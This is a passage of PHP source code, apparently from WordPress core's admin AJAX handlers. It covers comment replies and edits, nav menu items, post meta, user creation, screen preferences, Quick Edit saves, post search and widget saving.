	if ( empty( $post->post_status ) ) {
		wp_die( 1 );
	} elseif ( in_array( $post->post_status, array( 'draft', 'pending', 'trash' ), true ) ) {
		wp_die( __( 'You cannot reply to a comment on a draft post.' ) );
	}

	$user = wp_get_current_user();

	if ( $user->exists() ) {
		$comment_author       = wp_slash( $user->display_name );
		$comment_author_email = wp_slash( $user->user_email );
		$comment_author_url   = wp_slash( $user->user_url );
		$user_id              = $user->ID;

		if ( current_user_can( 'unfiltered_html' ) ) {
			if ( ! isset( $_POST['_wp_unfiltered_html_comment'] ) ) {
				$_POST['_wp_unfiltered_html_comment'] = '';
			}

			if ( wp_create_nonce( 'unfiltered-html-comment' ) != $_POST['_wp_unfiltered_html_comment'] ) {
				kses_remove_filters(); // Start with a clean slate.
				kses_init_filters();   // Set up the filters.
				remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
				add_filter( 'pre_comment_content', 'wp_filter_kses' );
			}
		}
	} else {
		wp_die( __( 'Sorry, you must be logged in to reply to a comment.' ) );
	}

	$comment_content = trim( $_POST['content'] );

	if ( '' === $comment_content ) {
		wp_die( __( 'Please type your comment text.' ) );
	}

	$comment_type = isset( $_POST['comment_type'] ) ? trim( $_POST['comment_type'] ) : 'comment';

	$comment_parent = 0;

	if ( isset( $_POST['comment_ID'] ) ) {
		$comment_parent = absint( $_POST['comment_ID'] );
	}

	$comment_auto_approved = false;

	$commentdata = array(
		'comment_post_ID' => $comment_post_id,
	);

	$commentdata += compact(
		'comment_author',
		'comment_author_email',
		'comment_author_url',
		'comment_content',
		'comment_type',
		'comment_parent',
		'user_id'
	);

	// Automatically approve parent comment.
	if ( ! empty( $_POST['approve_parent'] ) ) {
		$parent = get_comment( $comment_parent );

		if ( $parent && '0' === $parent->comment_approved && $parent->comment_post_ID == $comment_post_id ) {
			if ( ! current_user_can( 'edit_comment', $parent->comment_ID ) ) {
				wp_die( -1 );
			}

			if ( wp_set_comment_status( $parent, 'approve' ) ) {
				$comment_auto_approved = true;
			}
		}
	}

	$comment_id = wp_new_comment( $commentdata );

	if ( is_wp_error( $comment_id ) ) {
		wp_die( $comment_id->get_error_message() );
	}

	$comment = get_comment( $comment_id );

	if ( ! $comment ) {
		wp_die( 1 );
	}

	$position = ( isset( $_POST['position'] ) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';

	ob_start();
	if ( isset( $_REQUEST['mode'] ) && 'dashboard' === $_REQUEST['mode'] ) {
		require_once ABSPATH . 'wp-admin/includes/dashboard.php';
		_wp_dashboard_recent_comments_row( $comment );
	} else {
		if ( isset( $_REQUEST['mode'] ) && 'single' === $_REQUEST['mode'] ) {
			$wp_list_table = _get_list_table( 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		} else {
			$wp_list_table = _get_list_table( 'WP_Comments_List_Table', array( 'screen' => 'edit-comments' ) );
		}
		$wp_list_table->single_row( $comment );
	}
	$comment_list_item = ob_get_clean();

	$response = array(
		'what'     => 'comment',
		'id'       => $comment->comment_ID,
		'data'     => $comment_list_item,
		'position' => $position,
	);

	$counts                   = wp_count_comments();
	$response['supplemental'] = array(
		'in_moderation'        => $counts->moderated,
		'i18n_comments_text'   => sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s Comment', '%s Comments', $counts->approved ),
			number_format_i18n( $counts->approved )
		),
		'i18n_moderation_text' => sprintf(
			/* translators: %s: Number of comments. */
			_n( '%s Comment in moderation', '%s Comments in moderation', $counts->moderated ),
			number_format_i18n( $counts->moderated )
		),
	);

	if ( $comment_auto_approved ) {
		$response['supplemental']['parent_approved'] = $parent->comment_ID;
		$response['supplemental']['parent_post_id']  = $parent->comment_post_ID;
	}

	$x = new WP_Ajax_Response();
	$x->add( $response );
	$x->send();
}

/**
 * Handles editing a comment via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_edit_comment() {
	check_ajax_referer( 'replyto-comment', '_ajax_nonce-replyto-comment' );

	$comment_id = (int) $_POST['comment_ID'];

	if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
		wp_die( -1 );
	}

	if ( '' === $_POST['content'] ) {
		wp_die( __( 'Please type your comment text.' ) );
	}

	if ( isset( $_POST['status'] ) ) {
		$_POST['comment_status'] = $_POST['status'];
	}

	$updated = edit_comment();
	if ( is_wp_error( $updated ) ) {
		wp_die( $updated->get_error_message() );
	}

	$position      = ( isset( $_POST['position'] ) && (int) $_POST['position'] ) ? (int) $_POST['position'] : '-1';
	$checkbox      = ( isset( $_POST['checkbox'] ) && true == $_POST['checkbox'] ) ? 1 : 0;
	$wp_list_table = _get_list_table( $checkbox ? 'WP_Comments_List_Table' : 'WP_Post_Comments_List_Table', array( 'screen' => 'edit-comments' ) );

	$comment = get_comment( $comment_id );

	if ( empty( $comment->comment_ID ) ) {
		wp_die( -1 );
	}

	ob_start();
	$wp_list_table->single_row( $comment );
	$comment_list_item = ob_get_clean();

	$x = new WP_Ajax_Response();

	$x->add(
		array(
			'what'     => 'edit_comment',
			'id'       => $comment->comment_ID,
			'data'     => $comment_list_item,
			'position' => $position,
		)
	);

	$x->send();
}

/**
 * Handles adding a menu item via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_add_menu_item() {
	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

	/*
	 * For performance reasons, we omit some object properties from the checklist.
	 * The following is a hacky way to restore them when adding non-custom items.
	 */
	$menu_items_data = array();

	foreach ( (array) $_POST['menu-item'] as $menu_item_data ) {
		if (
			! empty( $menu_item_data['menu-item-type'] ) &&
			'custom' !== $menu_item_data['menu-item-type'] &&
			! empty( $menu_item_data['menu-item-object-id'] )
		) {
			switch ( $menu_item_data['menu-item-type'] ) {
				case 'post_type':
					$_object = get_post( $menu_item_data['menu-item-object-id'] );
					break;

				case 'post_type_archive':
					$_object = get_post_type_object( $menu_item_data['menu-item-object'] );
					break;

				case 'taxonomy':
					$_object = get_term( $menu_item_data['menu-item-object-id'], $menu_item_data['menu-item-object'] );
					break;
			}

			$_menu_items = array_map( 'wp_setup_nav_menu_item', array( $_object ) );
			$_menu_item  = reset( $_menu_items );

			// Restore the missing menu item properties.
			$menu_item_data['menu-item-description'] = $_menu_item->description;
		}

		$menu_items_data[] = $menu_item_data;
	}

	$item_ids = wp_save_nav_menu_items( 0, $menu_items_data );
	if ( is_wp_error( $item_ids ) ) {
		wp_die( 0 );
	}

	$menu_items = array();

	foreach ( (array) $item_ids as $menu_item_id ) {
		$menu_obj = get_post( $menu_item_id );

		if ( ! empty( $menu_obj->ID ) ) {
			$menu_obj        = wp_setup_nav_menu_item( $menu_obj );
			$menu_obj->title = empty( $menu_obj->title ) ? __( 'Menu Item' ) : $menu_obj->title;
			$menu_obj->label = $menu_obj->title; // Don't show "(pending)" in ajax-added items.
			$menu_items[]    = $menu_obj;
		}
	}

	/** This filter is documented in wp-admin/includes/nav-menu.php */
	$walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $_POST['menu'] );

	if ( ! class_exists( $walker_class_name ) ) {
		wp_die( 0 );
	}

	if ( ! empty( $menu_items ) ) {
		$args = array(
			'after'       => '',
			'before'      => '',
			'link_after'  => '',
			'link_before' => '',
			'walker'      => new $walker_class_name(),
		);

		echo walk_nav_menu_tree( $menu_items, 0, (object) $args );
	}

	wp_die();
}

/**
 * Handles adding meta via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_add_meta() {
	check_ajax_referer( 'add-meta', '_ajax_nonce-add-meta' );
	$c    = 0;
	$pid  = (int) $_POST['post_id'];
	$post = get_post( $pid );

	if ( isset( $_POST['metakeyselect'] ) || isset( $_POST['metakeyinput'] ) ) {
		if ( ! current_user_can( 'edit_post', $pid ) ) {
			wp_die( -1 );
		}

		if ( isset( $_POST['metakeyselect'] ) && '#NONE#' === $_POST['metakeyselect'] && empty( $_POST['metakeyinput'] ) ) {
			wp_die( 1 );
		}

		// If the post is an autodraft, save the post as a draft and then attempt to save the meta.
		if ( 'auto-draft' === $post->post_status ) {
			$post_data                = array();
			$post_data['action']      = 'draft'; // Warning fix.
			$post_data['post_ID']     = $pid;
			$post_data['post_type']   = $post->post_type;
			$post_data['post_status'] = 'draft';
			$now                      = time();

			$post_data['post_title'] = sprintf(
				/* translators: 1: Post creation date, 2: Post creation time. */
				__( 'Draft created on %1$s at %2$s' ),
				gmdate( __( 'F j, Y' ), $now ),
				gmdate( __( 'g:i a' ), $now )
			);

			$pid = edit_post( $post_data );

			if ( $pid ) {
				if ( is_wp_error( $pid ) ) {
					$x = new WP_Ajax_Response(
						array(
							'what' => 'meta',
							'data' => $pid,
						)
					);
					$x->send();
				}

				$mid = add_meta( $pid );
				if ( ! $mid ) {
					wp_die( __( 'Please provide a custom field value.' ) );
				}
			} else {
				wp_die( 0 );
			}
		} else {
			$mid = add_meta( $pid );
			if ( ! $mid ) {
				wp_die( __( 'Please provide a custom field value.' ) );
			}
		}

		$meta = get_metadata_by_mid( 'post', $mid );
		$pid  = (int) $meta->post_id;
		$meta = get_object_vars( $meta );

		$x = new WP_Ajax_Response(
			array(
				'what'         => 'meta',
				'id'           => $mid,
				'data'         => _list_meta_row( $meta, $c ),
				'position'     => 1,
				'supplemental' => array( 'postid' => $pid ),
			)
		);
	} else { // Update?
		$mid   = (int) key( $_POST['meta'] );
		$key   = wp_unslash( $_POST['meta'][ $mid ]['key'] );
		$value = wp_unslash( $_POST['meta'][ $mid ]['value'] );

		if ( '' === trim( $key ) ) {
			wp_die( __( 'Please provide a custom field name.' ) );
		}

		$meta = get_metadata_by_mid( 'post', $mid );

		if ( ! $meta ) {
			wp_die( 0 ); // If meta doesn't exist.
		}

		if (
			is_protected_meta( $meta->meta_key, 'post' ) || is_protected_meta( $key, 'post' ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $meta->meta_key ) ||
			! current_user_can( 'edit_post_meta', $meta->post_id, $key )
		) {
			wp_die( -1 );
		}

		if ( $meta->meta_value != $value || $meta->meta_key != $key ) {
			$u = update_metadata_by_mid( 'post', $mid, $value, $key );
			if ( ! $u ) {
				wp_die( 0 ); // We know meta exists; we also know it's unchanged (or DB error, in which case there are bigger problems).
			}
		}

		$x = new WP_Ajax_Response(
			array(
				'what'         => 'meta',
				'id'           => $mid,
				'old_id'       => $mid,
				'data'         => _list_meta_row(
					array(
						'meta_key'   => $key,
						'meta_value' => $value,
						'meta_id'    => $mid,
					),
					$c
				),
				'position'     => 0,
				'supplemental' => array( 'postid' => $meta->post_id ),
			)
		);
	}
	$x->send();
}

/**
 * Handles adding a user via AJAX.
 *
 * @since 3.1.0
 *
 * @param string $action Action to perform.
 */
function wp_ajax_add_user( $action ) {
	if ( empty( $action ) ) {
		$action = 'add-user';
	}

	check_ajax_referer( $action );

	if ( ! current_user_can( 'create_users' ) ) {
		wp_die( -1 );
	}

	$user_id = edit_user();

	if ( ! $user_id ) {
		wp_die( 0 );
	} elseif ( is_wp_error( $user_id ) ) {
		$x = new WP_Ajax_Response(
			array(
				'what' => 'user',
				'id'   => $user_id,
			)
		);
		$x->send();
	}

	$user_object   = get_userdata( $user_id );
	$wp_list_table = _get_list_table( 'WP_Users_List_Table' );

	$role = current( $user_object->roles );

	$x = new WP_Ajax_Response(
		array(
			'what'         => 'user',
			'id'           => $user_id,
			'data'         => $wp_list_table->single_row( $user_object, '', $role ),
			'supplemental' => array(
				'show-link' => sprintf(
					/* translators: %s: The new user. */
					__( 'User %s added' ),
					'<a href="#user-' . $user_id . '">' . $user_object->user_login . '</a>'
				),
				'role'      => $role,
			),
		)
	);
	$x->send();
}

/**
 * Handles closed post boxes via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_closed_postboxes() {
	check_ajax_referer( 'closedpostboxes', 'closedpostboxesnonce' );
	$closed = isset( $_POST['closed'] ) ? explode( ',', $_POST['closed'] ) : array();
	$closed = array_filter( $closed );

	$hidden = isset( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	$hidden = array_filter( $hidden );

	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

	if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

	$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

	if ( is_array( $closed ) ) {
		update_user_meta( $user->ID, "closedpostboxes_$page", $closed );
	}

	if ( is_array( $hidden ) ) {
		// Postboxes that are always shown.
		$hidden = array_diff( $hidden, array( 'submitdiv', 'linksubmitdiv', 'manage-menu', 'create-menu' ) );
		update_user_meta( $user->ID, "metaboxhidden_$page", $hidden );
	}

	wp_die( 1 );
}

/**
 * Handles hidden columns via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_hidden_columns() {
	check_ajax_referer( 'screen-options-nonce', 'screenoptionnonce' );
	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

	if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

	$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

	$hidden = ! empty( $_POST['hidden'] ) ? explode( ',', $_POST['hidden'] ) : array();
	update_user_meta( $user->ID, "manage{$page}columnshidden", $hidden );

	wp_die( 1 );
}

/**
 * Handles updating whether to display the welcome panel via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_update_welcome_panel() {
	check_ajax_referer( 'welcome-panel-nonce', 'welcomepanelnonce' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	update_user_meta( get_current_user_id(), 'show_welcome_panel', empty( $_POST['visible'] ) ? 0 : 1 );

	wp_die( 1 );
}

/**
 * Handles for retrieving menu meta boxes via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_get_metabox() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

	if ( isset( $_POST['item-type'] ) && 'post_type' === $_POST['item-type'] ) {
		$type     = 'posttype';
		$callback = 'wp_nav_menu_item_post_type_meta_box';
		$items    = (array) get_post_types( array( 'show_in_nav_menus' => true ), 'object' );
	} elseif ( isset( $_POST['item-type'] ) && 'taxonomy' === $_POST['item-type'] ) {
		$type     = 'taxonomy';
		$callback = 'wp_nav_menu_item_taxonomy_meta_box';
		$items    = (array) get_taxonomies( array( 'show_ui' => true ), 'object' );
	}

	if ( ! empty( $_POST['item-object'] ) && isset( $items[ $_POST['item-object'] ] ) ) {
		$menus_meta_box_object = $items[ $_POST['item-object'] ];

		/** This filter is documented in wp-admin/includes/nav-menu.php */
		$item = apply_filters( 'nav_menu_meta_box_object', $menus_meta_box_object );

		$box_args = array(
			'id'       => 'add-' . $item->name,
			'title'    => $item->labels->name,
			'callback' => $callback,
			'args'     => $item,
		);

		ob_start();
		$callback( null, $box_args );

		$markup = ob_get_clean();

		echo wp_json_encode(
			array(
				'replace-id' => $type . '-' . $item->name,
				'markup'     => $markup,
			)
		);
	}

	wp_die();
}

/**
 * Handles internal linking via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_wp_link_ajax() {
	check_ajax_referer( 'internal-linking', '_ajax_linking_nonce' );

	$args = array();

	if ( isset( $_POST['search'] ) ) {
		$args['s'] = wp_unslash( $_POST['search'] );
	}

	if ( isset( $_POST['term'] ) ) {
		$args['s'] = wp_unslash( $_POST['term'] );
	}

	$args['pagenum'] = ! empty( $_POST['page'] ) ? absint( $_POST['page'] ) : 1;

	if ( ! class_exists( '_WP_Editors', false ) ) {
		require ABSPATH . WPINC . '/class-wp-editor.php';
	}

	$results = _WP_Editors::wp_link_query( $args );

	if ( ! isset( $results ) ) {
		wp_die( 0 );
	}

	echo wp_json_encode( $results );
	echo "\n";

	wp_die();
}

/**
 * Handles saving menu locations via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_locations_save() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	check_ajax_referer( 'add-menu_item', 'menu-settings-column-nonce' );

	if ( ! isset( $_POST['menu-locations'] ) ) {
		wp_die( 0 );
	}

	set_theme_mod( 'nav_menu_locations', array_map( 'absint', $_POST['menu-locations'] ) );
	wp_die( 1 );
}

/**
 * Handles saving the meta box order via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_meta_box_order() {
	check_ajax_referer( 'meta-box-order' );
	$order        = isset( $_POST['order'] ) ? (array) $_POST['order'] : false;
	$page_columns = isset( $_POST['page_columns'] ) ? $_POST['page_columns'] : 'auto';

	if ( 'auto' !== $page_columns ) {
		$page_columns = (int) $page_columns;
	}

	$page = isset( $_POST['page'] ) ? $_POST['page'] : '';

	if ( sanitize_key( $page ) != $page ) {
		wp_die( 0 );
	}

	$user = wp_get_current_user();
	if ( ! $user ) {
		wp_die( -1 );
	}

	if ( $order ) {
		update_user_meta( $user->ID, "meta-box-order_$page", $order );
	}

	if ( $page_columns ) {
		update_user_meta( $user->ID, "screen_layout_$page", $page_columns );
	}

	wp_send_json_success();
}

/**
 * Handles menu quick searching via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_menu_quick_search() {
	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	require_once ABSPATH . 'wp-admin/includes/nav-menu.php';

	_wp_ajax_menu_quick_search( $_POST );

	wp_die();
}

/**
 * Handles retrieving a permalink via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_get_permalink() {
	check_ajax_referer( 'getpermalink', 'getpermalinknonce' );
	$post_id = isset( $_POST['post_id'] ) ? (int) $_POST['post_id'] : 0;
	wp_die( get_preview_post_link( $post_id ) );
}

/**
 * Handles retrieving a sample permalink via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_sample_permalink() {
	check_ajax_referer( 'samplepermalink', 'samplepermalinknonce' );
	$post_id = isset( $_POST['post_id'] ) ? (int) $_POST['post_id'] : 0;
	$title   = isset( $_POST['new_title'] ) ? $_POST['new_title'] : '';
	$slug    = isset( $_POST['new_slug'] ) ? $_POST['new_slug'] : null;
	wp_die( get_sample_permalink_html( $post_id, $title, $slug ) );
}

/**
 * Handles Quick Edit saving a post from a list table via AJAX.
 *
 * @since 3.1.0
 *
 * @global string $mode List table view mode.
 */
function wp_ajax_inline_save() {
	global $mode;

	check_ajax_referer( 'inlineeditnonce', '_inline_edit' );

	if ( ! isset( $_POST['post_ID'] ) || ! (int) $_POST['post_ID'] ) {
		wp_die();
	}

	$post_id = (int) $_POST['post_ID'];

	if ( 'page' === $_POST['post_type'] ) {
		if ( ! current_user_can( 'edit_page', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this page.' ) );
		}
	} else {
		if ( ! current_user_can( 'edit_post', $post_id ) ) {
			wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
		}
	}

	$last = wp_check_post_lock( $post_id );
	if ( $last ) {
		$last_user      = get_userdata( $last );
		$last_user_name = $last_user ? $last_user->display_name : __( 'Someone' );

		/* translators: %s: User's display name. */
		$msg_template = __( 'Saving is disabled: %s is currently editing this post.' );

		if ( 'page' === $_POST['post_type'] ) {
			/* translators: %s: User's display name. */
			$msg_template = __( 'Saving is disabled: %s is currently editing this page.' );
		}

		printf( $msg_template, esc_html( $last_user_name ) );
		wp_die();
	}

	$data = &$_POST;

	$post = get_post( $post_id, ARRAY_A );

	// Since it's coming from the database.
	$post = wp_slash( $post );

	$data['content'] = $post['post_content'];
	$data['excerpt'] = $post['post_excerpt'];

	// Rename.
	$data['user_ID'] = get_current_user_id();

	if ( isset( $data['post_parent'] ) ) {
		$data['parent_id'] = $data['post_parent'];
	}

	// Status.
	if ( isset( $data['keep_private'] ) && 'private' === $data['keep_private'] ) {
		$data['visibility']  = 'private';
		$data['post_status'] = 'private';
	} else {
		$data['post_status'] = $data['_status'];
	}

	if ( empty( $data['comment_status'] ) ) {
		$data['comment_status'] = 'closed';
	}

	if ( empty( $data['ping_status'] ) ) {
		$data['ping_status'] = 'closed';
	}

	// Exclude terms from taxonomies that are not supposed to appear in Quick Edit.
	if ( ! empty( $data['tax_input'] ) ) {
		foreach ( $data['tax_input'] as $taxonomy => $terms ) {
			$tax_object = get_taxonomy( $taxonomy );
			/** This filter is documented in wp-admin/includes/class-wp-posts-list-table.php */
			if ( ! apply_filters( 'quick_edit_show_taxonomy', $tax_object->show_in_quick_edit, $taxonomy, $post['post_type'] ) ) {
				unset( $data['tax_input'][ $taxonomy ] );
			}
		}
	}

	// Hack: wp_unique_post_slug() doesn't work for drafts, so we will fake that our post is published.
	if ( ! empty( $data['post_name'] ) && in_array( $post['post_status'], array( 'draft', 'pending' ), true ) ) {
		$post['post_status'] = 'publish';
		$data['post_name']   = wp_unique_post_slug( $data['post_name'], $post['ID'], $post['post_status'], $post['post_type'], $post['post_parent'] );
	}

	// Update the post.
	edit_post();

	$wp_list_table = _get_list_table( 'WP_Posts_List_Table', array( 'screen' => $_POST['screen'] ) );

	$mode = 'excerpt' === $_POST['post_view'] ? 'excerpt' : 'list';

	$level = 0;
	if ( is_post_type_hierarchical( $wp_list_table->screen->post_type ) ) {
		$request_post = array( get_post( $_POST['post_ID'] ) );
		$parent       = $request_post[0]->post_parent;

		while ( $parent > 0 ) {
			$parent_post = get_post( $parent );
			$parent      = $parent_post->post_parent;
			++$level;
		}
	}

	$wp_list_table->display_rows( array( get_post( $_POST['post_ID'] ) ), $level );

	wp_die();
}

/**
 * Handles Quick Edit saving for a term via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_inline_save_tax() {
	check_ajax_referer( 'taxinlineeditnonce', '_inline_edit' );

	$taxonomy        = sanitize_key( $_POST['taxonomy'] );
	$taxonomy_object = get_taxonomy( $taxonomy );

	if ( ! $taxonomy_object ) {
		wp_die( 0 );
	}

	if ( ! isset( $_POST['tax_ID'] ) || ! (int) $_POST['tax_ID'] ) {
		wp_die( -1 );
	}

	$id = (int) $_POST['tax_ID'];

	if ( ! current_user_can( 'edit_term', $id ) ) {
		wp_die( -1 );
	}

	$wp_list_table = _get_list_table( 'WP_Terms_List_Table', array( 'screen' => 'edit-' . $taxonomy ) );

	$tag                  = get_term( $id, $taxonomy );
	$_POST['description'] = $tag->description;

	$updated = wp_update_term( $id, $taxonomy, $_POST );

	if ( $updated && ! is_wp_error( $updated ) ) {
		$tag = get_term( $updated['term_id'], $taxonomy );
		if ( ! $tag || is_wp_error( $tag ) ) {
			if ( is_wp_error( $tag ) && $tag->get_error_message() ) {
				wp_die( $tag->get_error_message() );
			}
			wp_die( __( 'Item not updated.' ) );
		}
	} else {
		if ( is_wp_error( $updated ) && $updated->get_error_message() ) {
			wp_die( $updated->get_error_message() );
		}
		wp_die( __( 'Item not updated.' ) );
	}

	$level  = 0;
	$parent = $tag->parent;

	while ( $parent > 0 ) {
		$parent_tag = get_term( $parent, $taxonomy );
		$parent     = $parent_tag->parent;
		++$level;
	}

	$wp_list_table->single_row( $tag, $level );
	wp_die();
}

/**
 * Handles querying posts for the Find Posts modal via AJAX.
 *
 * @see window.findPosts
 *
 * @since 3.1.0
 */
function wp_ajax_find_posts() {
	check_ajax_referer( 'find-posts' );

	$post_types = get_post_types( array( 'public' => true ), 'objects' );
	unset( $post_types['attachment'] );

	$args = array(
		'post_type'      => array_keys( $post_types ),
		'post_status'    => 'any',
		'posts_per_page' => 50,
	);

	$search = wp_unslash( $_POST['ps'] );

	if ( '' !== $search ) {
		$args['s'] = $search;
	}

	$posts = get_posts( $args );

	if ( ! $posts ) {
		wp_send_json_error( __( 'No items found.' ) );
	}

	$html = '<table class="widefat"><thead><tr><th class="found-radio"><br /></th><th>' . __( 'Title' ) . '</th><th class="no-break">' . __( 'Type' ) . '</th><th class="no-break">' . __( 'Date' ) . '</th><th class="no-break">' . __( 'Status' ) . '</th></tr></thead><tbody>';
	$alt  = '';
	foreach ( $posts as $post ) {
		$title = trim( $post->post_title ) ? $post->post_title : __( '(no title)' );
		$alt   = ( 'alternate' === $alt ) ? '' : 'alternate';

		switch ( $post->post_status ) {
			case 'publish':
			case 'private':
				$stat = __( 'Published' );
				break;
			case 'future':
				$stat = __( 'Scheduled' );
				break;
			case 'pending':
				$stat = __( 'Pending Review' );
				break;
			case 'draft':
				$stat = __( 'Draft' );
				break;
		}

		if ( '0000-00-00 00:00:00' === $post->post_date ) {
			$time = '';
		} else {
			/* translators: Date format in table columns, see https://www.php.net/manual/datetime.format.php */
			$time = mysql2date( __( 'Y/m/d' ), $post->post_date );
		}

		$html .= '<tr class="' . trim( 'found-posts ' . $alt ) . '"><td class="found-radio"><input type="radio" id="found-' . $post->ID . '" name="found_post_id" value="' . esc_attr( $post->ID ) . '"></td>';
		$html .= '<td><label for="found-' . $post->ID . '">' . esc_html( $title ) . '</label></td><td class="no-break">' . esc_html( $post_types[ $post->post_type ]->labels->singular_name ) . '</td><td class="no-break">' . esc_html( $time ) . '</td><td class="no-break">' . esc_html( $stat ) . ' </td></tr>' . "\n\n";
	}

	$html .= '</tbody></table>';

	wp_send_json_success( $html );
}

/**
 * Handles saving the widgets order via AJAX.
 *
 * @since 3.1.0
 */
function wp_ajax_widgets_order() {
	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	unset( $_POST['savewidgets'], $_POST['action'] );

	// Save widgets order for all sidebars.
	if ( is_array( $_POST['sidebars'] ) ) {
		$sidebars = array();

		foreach ( wp_unslash( $_POST['sidebars'] ) as $key => $val ) {
			$sb = array();

			if ( ! empty( $val ) ) {
				$val = explode( ',', $val );

				foreach ( $val as $k => $v ) {
					if ( ! str_contains( $v, 'widget-' ) ) {
						continue;
					}

					$sb[ $k ] = substr( $v, strpos( $v, '_' ) + 1 );
				}
			}
			$sidebars[ $key ] = $sb;
		}

		wp_set_sidebars_widgets( $sidebars );
		wp_die( 1 );
	}

	wp_die( -1 );
}

/**
 * Handles saving a widget via AJAX.
 *
 * @since 3.1.0
 *
 * @global array $wp_registered_widgets
 * @global array $wp_registered_widget_controls
 * @global array $wp_registered_widget_updates
 */
function wp_ajax_save_widget() {
	global $wp_registered_widgets, $wp_registered_widget_controls, $wp_registered_widget_updates;

	check_ajax_referer( 'save-sidebar-widgets', 'savewidgets' );

	if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['id_base'] ) ) {
		wp_die( -1 );
	}

	unset( $_POST['savewidgets'], $_POST['action'] );

	/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'load-widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/**
	 * Fires early when editing the widgets displayed in sidebars.
	 *
	 * @since 2.8.0
	 */
	do_action( 'widgets.php' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/widgets.php */
	do_action( 'sidebar_admin_setup' );

	$id_base      = wp_unslash( $_POST['id_base'] );
	$widget_id    = wp_unslash( $_POST['widget-id'] );
	$sidebar_id   = $_POST['sidebar'];
	$multi_number = ! empty( $_POST['multi_number'] ) ? (int) $_POST['multi_number'] : 0;
	$settings     = isset( $_POST[ 'widget-' . $id_base ] ) && is_array( $_POST[ 'widget-' . $id_base ] ) ? $_POST[ 'widget-' . $id_base ] : false;
	$error        = '<p>' . __( 'An error has occurred. Please reload the page and try again.' ) . '</p>';

	$sidebars = wp_get_sidebars_widgets();
	$sidebar  = isset( $sidebars[ $sidebar_id ] ) ? $sidebars[ $sidebar_id ] : array();

	// Delete.
	if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {

		if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			wp_die( $error );
		}

		$sidebar = array_diff( $sidebar, array( $widget_id ) );
		$_POST   = array(
			'sidebar'            => $sidebar_id,
			'widget-' . $id_base => array(),
			'the-widget-id'      => $widget_id,
			'delete_widget'      => '1',
		);

		/** This action is documented in wp-admin/widgets.php */
		do_action( 'delete_widget', $widget_id, $sidebar_id, $id_base );

	} elseif ( $settings && preg_match( '/__i__|%i%/', key( $settings ) ) ) {
		if ( ! $multi_number ) {
			wp_die( $error );
		}

		$_POST[ 'widget-' . $id_base ] = array( $multi_number => reset( $settings ) );
		$widget_id                     = $id_base . '-' . $multi_number;
		$sidebar[]                     = $widget_id;
	}
	$_POST['widget-id'] = $sidebar;

	foreach ( (array) $wp_registered_widget_updates as $name => $control ) {

		if ( $name == $id_base ) {
			if ( ! is_callable( $control['callback'] ) ) {
				continue;
			}

			ob_start();
				call_user_func_array( $control['callback'], $control['params'] );
			ob_end_clean();
			break;
		}
	}

	if ( isset( $_POST['delete_widget'] ) && $_POST['delete_widget'] ) {
		$sidebars[ $sidebar_id ] = $sidebar;
		wp_set_sidebars_widgets( $sidebars );
		echo "deleted:$widget_id";
		wp_die();
	}

	if ( ! empty( $_POST['add_new'] ) ) {
		wp_die();
	}

	$form = $wp_registered_widget_controls[ $widget_id ];
	if ( $form ) {
		call_user_func_array( $form['callback'], $form['params'] );
	}

	wp_die();
}

/**
 * Handles updating a widget via AJAX.
 *
 * @since 3.9.0
 *
 * @global WP_Customize_Manager $wp_customize
 */
function wp_ajax_update_widget() {
	global $wp_customize;
	$wp_customize->widgets->wp_ajax_update_widget();
}

/**
 * Handles removing inactive widgets via AJAX.
 *
 * @since 4.4.0
 */
function wp_ajax_delete_inactive_widgets() {
	check_ajax_referer( 'remove-inactive-widgets', 'removeinactivewidgets' );

	if ( ! current_user_can( 'edit_theme_options' ) ) {
		wp_die( -1 );
	}

	unset( $_POST['removeinactivewidgets'], $_POST['action'] );
